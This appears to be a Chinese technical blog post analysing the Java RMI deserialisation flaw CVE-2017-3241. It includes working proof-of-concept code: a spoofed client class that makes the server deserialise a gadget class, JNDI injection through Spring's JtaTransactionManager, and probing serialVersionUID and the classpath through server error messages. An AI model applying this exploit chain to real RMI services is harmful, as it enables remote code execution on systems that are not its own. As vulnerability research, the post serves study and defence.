2. 程式人生 > >Java RMI遠端反序列化任意類及遠端程式碼執行解析（CVE-2017-3241 ）

Java RMI遠端反序列化任意類及遠端程式碼執行解析（CVE-2017-3241 ）

阿新 • • 發佈：2019-01-04

本打算慢慢寫出來的，但前幾天發現國外有研究員發了一篇關於這個CVE的文章，他和我找到的地方很相似。然而不知道是不是Oracle認為是同一個漏洞然後合併了CVE，還是說我找錯了CVE。

總之，先簡單描述一下漏洞：對於任何一個以物件為引數的RMI介面，你都可以發一個自己構建的物件，迫使伺服器端將這個物件按任何一個存在於class path中的可序列化類來反序列化。聽起來可能有點繞，請往下看。

就直接上問題程式碼了。在Java RMI的sun.rmi.server.UnicastRef類中，有如下一段程式碼：

300    protected static Object More ...unmarshalValue(Class<?> type, ObjectInput in
 
)
301        throws IOException, ClassNotFoundException
302    {
303        if (type.isPrimitive()) {
304            if (type == int.class) {
305                return Integer.valueOf(in.readInt());
306            } else if (type == boolean.class) {
307                return Boolean.valueOf(in.readBoolean());
308
 
            } else if (type == byte.class) {
309                return Byte.valueOf(in.readByte());
310            } else if (type == char.class) {
311                return Character.valueOf(in.readChar());
312            } else if (type == short.class) {
313                return Short.valueOf(in.readShort());
314
 
            } else if (type == long.class) {
315                return Long.valueOf(in.readLong());
316            } else if (type == float.class) {
317                return Float.valueOf(in.readFloat());
318            } else if (type == double.class) {
319                return Double.valueOf(in.readDouble());
320            } else {
321                throw new Error("Unrecognized primitive type: " + type);
322            }
323        } else {
324            return in.readObject();
325        }
326    }

看324行，如果你熟悉java反序列化漏洞，看到此你應該就可以激動了。該程式碼直接呼叫readObject，且在原生Java類裡。結合2016 black hat上那個spring-tx.jar或者之前apache common中的類，都可以實現遠端程式碼執行。spring-tx裡的那個我實驗成功了，且Spring rmi中繼承了這個漏洞。但Spring team表示不修，和他們沒關係。。。

其實寫到這，很多技術大牛已經可以自己找出怎麼黑了。下面只是簡單寫寫我如何通過正常Java RMI程式來攻擊的，因為我覺得這招還是比較淫蕩的。

以下是一個正常的伺服器端介面，介面引數為Message物件，Message物件是要被序列化的物件：

public interface Services extends java.rmi.Remote
{
    String sendMessage(Message msg) throws RemoteException;
}

public class Message implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
}

伺服器端程式，sendMessage介面實現只是呼叫getMessage列印字串：

public class RMIServer
   implements Services {
   public RMIServer() throws RemoteException {
   }

   public static void main(String args[]) throws Exception {
       System.out.println("RMI server started");
       RMIServer obj = new RMIServer();
        try {
         Services stub = (Services) UnicastRemoteObject.exportObject(obj,0);
           Registry reg;
           try {
               reg = LocateRegistry.createRegistry(1099);
               System.out.println("java RMI registry created.");
           } catch(Exception e) {
             System.out.println("Using existing registry");
             reg = LocateRegistry.getRegistry();
           }
         reg.rebind("RMIServer", stub);
       } catch (RemoteException e) {
         e.printStackTrace();
       }
   }
  @Override
  public String sendMessage(Message msg) throws RemoteException {
      return msg.getMessage();
  }
}

假設伺服器端類路徑裡還存在一個PublicKnown類，比如spring或者apache common包裡的某個類：）。這種類大部分情況下會被開發人員會一起打包進專案，但從來不用：

package org.xfei.thirdparty;
public class PublicKnown implements Serializable {
    private void readObject(java.io.ObjectInputStream stream)
            throws  ClassNotFoundException, IOException {
        stream.defaultReadObject();
        System.out.println("Server object initializing.....");
    }
}

如上，該類自己實現了一個readObject方法，用來做XXX事情。。。

以下是正常的客戶端程式碼：

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        Message normal = new Message();
        normal.setMessage("Hello");
        System.out.println(obj.sendMessage(normal));
    }
}

輸出我就不放了，就是列印個Hello。

好了，如何攻擊呢？

首先在客戶端程式裡當然要有Message類，而Message類基本應該是公開已知的。然後，雖然Spring tx和Apache common都是開源的，但我們先假設攻擊者不知道原始碼，但知道PublicKnown的類名和包名，於是他在客戶端裡構建如下的一個類：

package org.xfei.thirdparty;

import java.io.IOException;
import java.io.Serializable;

import org.xfei.pojo.Message;

public class PublicKnown extends Message  implements Serializable{
    private final static long serialVersionUID = 7179259861090880402L;
}

重點是包名，類名必須一致，且繼承Message，serialVersionUID可以先不知道，之後能找出來。

然後改一改客戶端程式：

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import org.xfei.pojo.Message;
import org.xfei.thirdparty.PublicKnown;

public class RMIClient {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1");
        Services obj = (Services) registry.lookup("RMIServer");
        PublicKnown malicious = new PublicKnown();
        malicious.setMessage("haha");
        
        System.out.println(obj.sendMessage(malicious));
    }
}

伺服器端端的輸出如下（直接從報告裡拷貝過來的截圖）：

serverdemo1.PNG

也就是說，伺服器端在接收到客戶端傳送的物件後會按PublicKnown類來反序列化，然後呼叫PublicKnown的readObject方法。

至此，如何配合Spring-tx.jar裡的那個JtaTransactionManager類實現遠端程式碼執行我想大家也知道了。把JtaTransactionManager原始碼抄一份，讓其繼承Message類或者實現Message實現了的介面（如果有）就行。兩種我都試驗過可行。哦，對了，在JtaTransactionManager中你還需要控制userTransactionName變數的值，直接寫在客戶端程式碼裡就行了，神奇的伺服器端會用客戶端提供的變數值和伺服器端定義的readObject去執行。

還剩最後一個問題，serialVersionUID怎麼得到？在我實驗的時候，第一次發PublicKnown類過去的時候不要包含這個變數，伺服器端會返回一個錯誤資訊給你，錯誤資訊裡會帶有這個值。。。。。。

且根據不同的錯誤資訊，你還可以知道你的目標類是否存在於伺服器的類路徑裡。

雖然Oracle已經發了補丁，但我打賭很多地方是不會升級JDK的。。。。

要是有類似於JtaTransactionManager這種可以配合使用的類，還請大家共享一下呀！

例子1：原理上面說了，補一張專案截圖：

normal.png

忽略裡面和spring相關的包，那些是為了下面的例子在做準備。這個例子中的程式碼都是拷貝上面我貼的。你還可以在伺服器端的PublicKnown中加個本地變數，並在readObject方法中輸出，然後在客戶端的PublicKnown中加個同樣的變數，賦值，傳到伺服器端，你會看到變數值會在伺服器端被輸出出來。

上面也提到不知道伺服器端的serialVersionUID，但伺服器端會在出現任何異常的情況下把異常資訊返回到客戶端，如下：

arg.png

例子2：利用JtaTransactionManager進行JNDI注入的例子：

malicious.png

返回到客戶端的部分異常資訊（我懶，沒有掛個物件在8080埠）：

Exception in thread "main" org.springframework.transaction.TransactionSystemException: JTA UserTransaction is not available at JNDI location [rmi://127.0.0.1:8080/object]; nested exception is javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:574)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
    at org.springframework.transaction.jta.JtaTransactionManager.readObject(JtaTransactionManager.java:1206)
        ..................................
    at org.xfei.client.RMIClient.main(RMIClient.java:19)
Caused by: javax.naming.ServiceUnavailableException [Root exception is java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect]
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(Unknown Source)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(Unknown Source)
    at javax.naming.InitialContext.lookup(Unknown Source)
    at org.springframework.jndi.JndiTemplate$1.doInContext(JndiTemplate.java:155)
    at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:87)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:152)
    at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
    at org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction(JtaTransactionManager.java:571)
    at org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager(JtaTransactionManager.java:448)
        .................................................................
Caused by: java.rmi.ConnectException: Connection refused to host: 127.0.0.1; nested exception is: 
    java.net.ConnectException: Connection refused: connect
    at sun.rmi.transport.tcp.TCPEndpoint.newSocket(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.createConnection(Unknown Source)
    at sun.rmi.transport.tcp.TCPChannel.newConnection(Unknown Source)
    at sun.rmi.server.UnicastRef.newCall(Unknown Source)
    at sun.rmi.registry.RegistryImpl_Stub.lookup(Unknown Source)
    ... 31 more
Caused by: java.net.ConnectException: Connection refused: connect
    at java.net.DualStackPlainSocketImpl.connect0(Native Method)
    at java.net.DualStackPlainSocketImpl.socketConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.doConnect(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connectToAddress(Unknown Source)
    at java.net.AbstractPlainSocketImpl.connect(Unknown Source)
    at java.net.PlainSocketImpl.connect(Unknown Source)
    at java.net.SocksSocketImpl.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.connect(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at java.net.Socket.<init>(Unknown Source)
    at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(Unknown Source)
    at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(Unknown Source)
    ... 36 more

客戶端的JtaTransactionManager程式碼如下：

package org.springframework.transaction.jta;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingException;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.xfei.pojo.Message;


@SuppressWarnings("serial")
public class JtaTransactionManager extends Message
        implements  Serializable {
    public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
    public final static long  serialVersionUID = 4720255569299536580L;
    private String userTransactionName;
    public void setUserTransactionName(String userTransactionName) {
        this.userTransactionName = userTransactionName;
    }

}

Message有稍做修改：

package org.xfei.pojo;

import java.io.Serializable;

import org.springframework.transaction.TransactionDefinition;
import org.springframework.transaction.support.AbstractPlatformTransactionManager;
import org.springframework.transaction.support.DefaultTransactionStatus;

public class Message extends AbstractPlatformTransactionManager implements Serializable {
    private String msg;
    public Message()
    {
    }
    
    public String getMessage() {
        System.out.println("Processing message: "+msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
    /*
     * server will tell the serialVersionUID for first run, then just put it below
     */
    private final static long serialVersionUID = 1311618551071721443L;
    @Override
    protected void doBegin(Object arg0, TransactionDefinition arg1)
             {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected void doCommit(DefaultTransactionStatus arg0)
            {
        // TODO Auto-generated method stub
        
    }

    @Override
    protected Object doGetTransaction() {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    protected void doRollback(DefaultTransactionStatus arg0)
         {
        // TODO Auto-generated method stub
        
    }
}

我以前的例子是在Spring RMI中測試的，做起來比這個順利多了。這次是單獨建Java專案測試。。。。

需要主意以下幾點：

1，當你把假的JtaTransactionManager物件發到伺服器端的時候，伺服器端其實也要各種初始化，所以會依賴到各種Spring的包，還有一個Apapche common的logger以及jta包。所以伺服器端不是單有個Spring-tx.jar就能成功攻擊的，但Spring專案裡這幾個依賴包出現的機率比spring-tx.jar高得多。 

2，客戶端編譯的時候似乎也依賴幾個類，我直接把所有spring jar包都放進去了。

3，看到截圖，有的小夥伴可能會質疑這個是客戶端編譯的錯誤。其實我剛執行出來的時候也這麼質疑的。。。但這其實是伺服器端發過來的異常資訊。

首先，initUserTransactionAndTransactionManager是被呼叫了的.。這個方法只會是在readObject中被呼叫，客戶端哪裡有呼叫readObject？

其次，客戶端JtaTransactionManager程式碼我是改過的，根本沒有相關程式碼。

最後，客戶端jar包裡的JtaTransactionManager類我已經刪了：

malicious2.png

相關推薦

Java RMI遠端反序列化任意類及遠端程式碼執行解析（CVE-2017-3241 ）

本打算慢慢寫出來的，但前幾天發現國外有研究員發了一篇關於這個CVE的文章，他和我找到的地方很相似。然而不知道是不是Oracle認為是同一個漏洞然後合併了CVE，還是說我找錯了CVE。 總之，先簡單描述一下漏洞：對於任何一個以物件為引數的RMI介面，你都可以發一個自己構建的物件，迫使伺服器端將這個物件按任

Java RMI & 反序列化 詳細介紹

https://blog.csdn.net/LeeHDsniper/article/details/71599504 Java RMI 一直只是知道，瞭解過，還是很迷，耐心看了一篇文章，瞭解了RMI究竟是什麼（雖然都知道他是遠端呼叫用到的） ，還有大致的利用思路。 因為沒辦法複製圖片，後邊的直接

GoAhead Web伺服器遠端命令執行漏洞（CVE-2017-17562）漏洞復現

一、漏洞概述： 1、漏洞簡介： GoAhead Web Server，它是一個開源（商業許可）、簡單、輕巧、功能強大、可以在多個平臺執行的嵌入式Web Server。 GoAhead Web Server是跨平臺的伺服器軟體，可以穩定地執行在Windows，Linux和

java反序列化 - Transformer類可以執行惡意代碼的原理

write bject calc == return cal leg invoke stack java反序列化 - Transformer類可以執行惡意代碼的原理 0x00 代碼 Transformer[] transformers = new Transformer[]

java反序列化 - transformedMap類可以執行惡意代碼的原理

clas invoke 序列化 pri [] nag roc map.entry 什麽 java反序列化 - transformedMap類可以執行惡意代碼的原理 0x00 代碼 Map map=new HashMap(); map.put("key","

懸鏡安全丨Java 反序列化任意程式碼執行漏洞分析與利用

本文首發平臺：懸鏡官網，如需轉載，請聯絡小編，謝謝。        2015年的1月28號，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[3]，報告中介紹了Java反序列化漏洞可以利用Apache Commons

JSON繼承JsonConverter序列化與反序列化重寫類屬性

首先自定義一個JSON類,繼承JsonConverter,把類的屬性重寫到JSON中. using System; using System.Collections.Generic; using System.Linq; using Sys

fastjson 遠端反序列化poc的構造和分析

fastjson 反序列化 poc 1.2.24 2017.5.3日更新：增加_tfactory為一個空object即{ }，使poc在各個jdk版本都起作用。影響版本更新：fastjson-1.2.22到1.2.24區間 背景 fastjson是一個java編寫的高效能功

序列化與反序列化工具類

package com.zp.util; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.Closeable; import java.io.

再弄一片文章湊個4篇文章的數，主要是用於XML和 Binary序列化和反序列化的類

using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Xml.Serialization; namespace NOAS.PublicOpinionMonit

5. 通過PHP反序列化進行遠程代碼執行

ror 資料 sset 相同 var long abstract 應該 打破 通過PHP反序列化進行遠程代碼執行 0×00 前言 在NotSoSecure，我們每日都會進行滲透測試或代碼審查，不過最近我們遇到了一段有趣的PHP代碼，它可能會導致遠程代碼執行（RCE）漏洞

ref:PHP反序列化漏洞成因及漏洞挖掘技巧與案例

tmp 問題 文章 extend === 代碼 簡單的 ted IE ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧與案例 一、序列化和反序列化 序列化和反序列化的目的是使得程序間傳輸對象會更加方

Weblogic 小於10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）

之前本來複現過一次的，結果後來資料丟了，只好再來一遍。 沒找到在linux下命令列安裝的方法，於是直接在windows上安裝算了。 12.2.1.2.0下載： https://download.oracle.com/otn/nt/middleware/12c/12212/fmw_

Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271）檢測與利用復現

Weblogic的WLS Security元件對外提供webservice服務，其中使用了XMLDecoder來解析使用者傳入的XML資料，在解析的過程中出現反序列化漏洞，導致可執行任意命令。 漏洞環境搭建 可以參考： https://blog.csdn.net/q

JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）

Red Hat JBoss Application Server 是一款基於JavaEE的開源應用伺服器。JBoss AS 4.x及之前版本中，JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java檔

JBoss 5.x/6.x 反序列化漏洞（CVE-2017-12149）

該漏洞為 Java反序列化錯誤型別，存在於 Jboss 的 HttpInvoker 元件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的資料流進行反序列化，從而導致了漏洞。 環境 JBoss 5.x/

WebLogic反序列化漏洞（CVE-2017-3248）

使用Java 7和Java 8均可成功復現。 漏洞復現 先啟動weblogic（終端#1） ➜ base_domain ./startWebLogic.sh 在某埠監聽（接收反彈shell） ➜ ysoserial nc -klv 7777 Listeni

WebLogic 任意文件上傳 遠程代碼執行漏洞 （CVE-2018-2894）------->>>任意文件上傳檢測POC

htm input ade print out vcg exc ops 上傳 前言： Oracle官方發布了7月份的關鍵補丁更新CPU（Critical Patch Update），其中針對可造成遠程代碼執行的高危漏洞 CVE-2018-2894 進行修復： http:

Drupal 遠端命令執行漏洞（CVE-2018-7600）

名稱： Drupal 遠端命令執行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB： https://www.exploit-db.com/exploits/44448/ 平臺： PHP 漏洞描述：

scala-val物件例項化變數卻可以更改之深度解析（小白適用）

類和物件可能都很熟悉了，這裡僅供小白參考，大神請虐過。一開始學的時候物件是類的藍圖，啥，藍圖，什麼鬼？我們直接看程式碼吧~ import scala.io.Source class ChecksumAccumulator(){ var sum = 0 }